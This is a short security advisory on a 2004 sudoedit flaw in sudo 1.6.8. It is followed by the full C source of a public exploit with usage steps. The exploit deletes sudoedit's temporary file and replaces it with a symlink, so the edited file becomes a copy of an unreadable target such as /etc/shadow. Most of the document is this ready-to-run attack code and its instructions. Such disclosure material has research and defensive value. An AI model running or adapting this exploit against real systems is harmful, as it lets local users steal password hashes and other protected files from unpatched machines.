Reference

http://www.sudo.ws/sudo/alerts/sudoedit.html 



Summary

A flaw in exists in sudo's -u option (aka sudoedit) in sudo version 1.6.8 that can give an attacker read permission to a file that would otherwise be unreadable. 





Sudo versions affected

1.6.8 only 





Details

While sudoedit runs the actual editor as the invoking user, the temporary file is then re-opened with root privileges. An attacker can run sudoedit, remove the editor temporary file, make a link to an unreadable file with the same name as the old temporary file and quit the editor. The file being edited via sudoedit will now contain a copy of the previously unreadable file. 





Impact

Exploitation of the bug requires that the sudoers file be configured to allow the attacker to run sudoedit. If no users have been granted access to sudoedit there is no impact. 





Fix

The bug is fixed in sudo 1.6.8p1. 





Credit

This problem was brought to my attention by Reznic Valery. 



Exploit

http://www.rosiello.org/archivio/sudo-exploit.c 





------------------------------------------------

The exploit's code:



/*



	   Copyright © Rosiello Security 2004

 	        http://www.rosiello.org



                  sudoedit Exploit





SOFTWARE : sudoedit 

REFERENCE: http://www.sudo.ws/sudo/alerts/sudoedit.html

DATE: 18/09/2004



Summary:

A flaw in exists in sudo's -u option (aka sudoedit) 

in sudo version 1.6.8 that can give an attacker 

read permission to a file that would otherwise be 

unreadable.



Sudo versions affected:

1.6.8 only



Credit: 

Reznic Valery discovered the problem. 



-----------------------------------------------------------



All the information that you can find in this software  

were published for educational and didactic purpose only.

The author published this program under the condition 

that is not in the intention of the reader to use them 

in order to bring to himself or others a profit or to bring 

to others damage.



!Respect the law!



How do I use this code ?



To exploit sudoedit you have to open with it the

file "rosiello" as shown in the example.



EXAMPLE SCENARIO:



1) Open two shells (i) and (ii);

2) (i)$sudoedit rosiello;

3) (ii)$./sudoedit-exploit /etc/shadow;

4) (i) close sudoedit.



The file "rosiello" is now a copy of "/etc/shadow".



AUTHOR : Angelo Rosiello

CONTACT: angelo@rosiello.org



*/



#include <stdio.h>

#include <sys/stat.h>

#include <string.h>

#include <sys/types.h>

#include <fcntl.h>

#include <stdio.h>

#include <dirent.h>





int main( int argc, char *argv[] )

{	

	char PATH[]="/usr/tmp";

	char file[32];

        DIR *tmp;

        struct dirent *de;

        tmp = opendir ( PATH );

	int found = 0;

	

	printf( "Copyright © Rosiello Security 2004\n" );

	printf( "http://www.rosiello.org\n" );



	if( argc!=2 )

	{

		printf( "USAGE: %s file\n", argv[0] );

		return( 0 );

	}





	while ( (de = readdir ( tmp ))!= NULL )

	{

		if ( (strstr(de->d_name, "rosiello") != NULL) )

        	{

			if( strlen(de->d_name) > 24 ) return( 0 ); 

			sprintf( file, "%s/%s", PATH, (char *)de->d_name );

			remove( file );

			if( fork()!=0 )

			{

				execl( "/bin/ln", "ln", "-s", argv[1], file, NULL ); 

			}

			wait( );

			printf( "Now you can close sudoedit and reopen rosiello!\n" );

			found=1;

			goto end;

		

		}

		

        }

	end:

	closedir( tmp );

	

	if( !found ) 

		printf( "File Not Found!\n" );

	return( 0 );

	

}